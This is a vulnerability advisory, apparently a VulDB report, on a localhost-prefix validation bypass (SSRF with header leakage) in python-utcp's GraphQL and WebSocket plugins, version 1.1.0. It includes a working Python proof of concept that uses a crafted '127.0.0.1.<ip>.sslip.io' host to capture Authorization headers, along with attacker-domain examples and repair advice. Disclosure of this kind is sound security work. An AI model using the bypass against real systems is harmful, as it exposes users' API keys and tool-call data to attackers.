| Description | ## Supplementary Information
Following moderation feedback, a public issue has been created in the official project repository:
https://github.com/universal-tool-calling-protocol/python-utcp/issues/86
This issue serves as the vendor notification reference requested during review.
# Title
python-utcp (utcp-gql / utcp-websocket) 1.1.0 Localhost Prefix Validation Bypass Vulnerability
## NAME OF AFFECTED PRODUCT(S)
utcp-gql and utcp-websocket (plugins of python-utcp)
## Vendor Homepage
https://github.com/universal-tool-calling-protocol/python-utcp
---
## AFFECTED AND/OR FIXED VERSION(S)
- utcp-gql 1.1.0
- utcp-websocket 1.1.0
## Vuldb Submitter
gola
## Vulnerable File
- plugins/communication_protocols/gql/src/utcp_gql/gql_communication_protocol.py
- plugins/communication_protocols/websocket/src/utcp_websocket/websocket_call_template.py
## VERSION(S)
1.1.0
## Software Link
- https://github.com/universal-tool-calling-protocol/python-utcp
## Vendor Notification / Public Issue
https://github.com/universal-tool-calling-protocol/python-utcp/issues/86
## Vulnerability Type
Server-Side Request Forgery (SSRF) / Security Control Bypass / Sensitive Header Disclosure
## Root Cause
The URL security check uses string prefix matching instead of parsing and validating the real hostname/IP.
Examples in code:
- GraphQL accepts URLs starting with http://localhost or http://127.0.0.1
- WebSocket accepts URLs starting with ws://localhost or ws://127.0.0.1
An attacker can supply a crafted domain like:
127.0.0.1.<attacker-domain>
which passes the prefix check but resolves to a non-loopback remote server.
## Impact
If an attacker can influence endpoint URL configuration, the client may send authenticated requests to attacker-controlled infrastructure. This can leak sensitive headers (such as Authorization API keys/tokens), request content, and
internal tool-call data.
---
## DESCRIPTION
During a security audit of python-utcp, a high-risk validation flaw was identified in GraphQL and WebSocket protocol handlers. The implementation intends to allow only HTTPS/WSS or localhost exceptions, but the localhost exception is
implemented with startswith(...) checks.
Because of this, non-local domains that begin with 127.0.0.1. can bypass security checks and receive authenticated traffic.
Vulnerability Location:
- GraphQLCommunicationProtocol._enforce_https_or_localhost()
- WebSocketCallTemplate.validate_url()
---
## PoC
1. Set up environment:
```bash
cd /root/cms_1/python-utcp
python -m venv .venv-audit
source .venv-audit/bin/activate
pip install -e .
pip install -e plugins/communication_protocols/gql
pip install -e plugins/communication_protocols/websocket
```
2. Run the following PoC script (no source-code modification required):
```python
# /tmp/utcp_poc_sslip_bypass.py
import asyncio
import json
import socket
from typing import Any, Dict
from aiohttp import web, WSMsgType
from graphql import build_schema, graphql_sync
from utcp.data.auth_implementations.api_key_auth import ApiKeyAuth
from utcp_gql.gql_call_template import GraphQLCallTemplate
from utcp_gql.gql_communication_protocol import GraphQLCommunicationProtocol
from utcp_websocket.websocket_call_template import WebSocketCallTemplate
from utcp_websocket.websocket_communication_protocol import WebSocketCommunicationProtocol
PORT = 18082
def get_primary_ip() -> str:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
sock.connect(("x.x.x.x", 53))
ip = sock.getsockname()[0]
if ip and not ip.startswith("127."):
return ip
finally:
sock.close()
raise RuntimeError("Could not determine a non-loopback IPv4 address")
async def run() -> Dict[str, Any]:
ip = get_primary_ip()
domain = f"127.0.0.1.{ip.replace('.', '-')}.sslip.io"
captured: Dict[str, Any] = {
"graphql_headers": None,
"graphql_remote": None,
"websocket_headers": None,
"websocket_remote": None,
}
schema = build_schema("type Query { ping: String! }")
async def graphql_handler(request: web.Request) -> web.Response:
captured["graphql_headers"] = dict(request.headers)
captured["graphql_remote"] = request.remote
payload = await request.json()
result = graphql_sync(
schema,
payload.get("query"),
variable_values=payload.get("variables"),
operation_name=payload.get("operationName"),
root_value={"ping": "pong"},
)
out: Dict[str, Any] = {}
if result.errors:
out["errors"] = [str(e) for e in result.errors]
if result.data is not None:
out["data"] = result.data
return web.json_response(out)
async def websocket_handler(request: web.Request) -> web.WebSocketResponse:
captured["websocket_headers"] = dict(request.headers)
captured["websocket_remote"] = request.remote
ws = web.WebSocketResponse()
await ws.prepare(request)
async for msg in ws:
if msg.type == WSMsgType.TEXT:
await ws.send_str("ok")
break
await ws.close()
return ws
app = web.Application()
app.router.add_post("/graphql", graphql_handler)
app.router.add_get("/ws", websocket_handler)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "x.x.x.x", PORT)
await site.start()
gql_url = f"http://{domain}:{PORT}/graphql"
ws_url = f"ws://{domain}:{PORT}/ws"
try:
gql_template = GraphQLCallTemplate(
name="poc_gql",
url=gql_url,
query="query { ping }",
auth=ApiKeyAuth(
api_key="LEAKED_GQL_SECRET",
var_name="Authorization",
location="header",
),
)
gql_protocol = GraphQLCommunicationProtocol()
gql_result = await gql_protocol.call_tool(None, "ping", {}, gql_template)
ws_template = WebSocketCallTemplate(
name="poc_ws",
url=ws_url,
auth=ApiKeyAuth(
api_key="LEAKED_WS_SECRET",
var_name="Authorization",
location="header",
),
keep_alive=False,
timeout=10,
)
ws_protocol = WebSocketCommunicationProtocol()
ws_result = await ws_protocol.call_tool(None, "echo", {"x": 1}, ws_template)
await ws_protocol.close()
print(json.dumps({
"domain": domain,
"ip": ip,
"gql_url": gql_url,
"ws_url": ws_url,
"gql_result": gql_result,
"ws_result": ws_result,
"gql_authorization_seen": captured["graphql_headers"].get("Authorization"),
"ws_authorization_seen": captured["websocket_headers"].get("Authorization"),
"gql_remote_peer": captured["graphql_remote"],
"ws_remote_peer": captured["websocket_remote"],
}, indent=2))
finally:
await runner.cleanup()
if __name__ == "__main__":
asyncio.run(run())
```
3. Execute:
```bash
source .venv-audit/bin/activate
PYTHONPATH=src:plugins/communication_protocols/gql/src:plugins/communication_protocols/websocket/src \
python /tmp/utcp_poc_sslip_bypass.py
```
4. Expected result:
- The crafted URLs are accepted (no validation error).
- GraphQL and WebSocket calls succeed.
- Server output includes leaked auth headers:
- "gql_authorization_seen": "LEAKED_GQL_SECRET"
- "ws_authorization_seen": "LEAKED_WS_SECRET"
- Remote peer is non-loopback (example from test run: 10.7.66.96), confirming this is not local-loopback traffic.
---
## NO AUTHENTICATION REQUIRED
Exploitation of the validation flaw itself does not require prior authentication.
However, a realistic attack requires control over the endpoint URL input path.
---
## Suggested Repair
1. Parse URL with a strict URL parser, then validate hostname semantically.
2. For localhost exceptions, only allow exact loopback hosts (localhost, 127.0.0.1, ::1).
3. Resolve DNS and reject non-loopback resolved IPs for localhost-only modes.
4. Add regression tests for crafted domains such as 127.0.0.1.attacker.tld and localhost.attacker.tld. |
|---|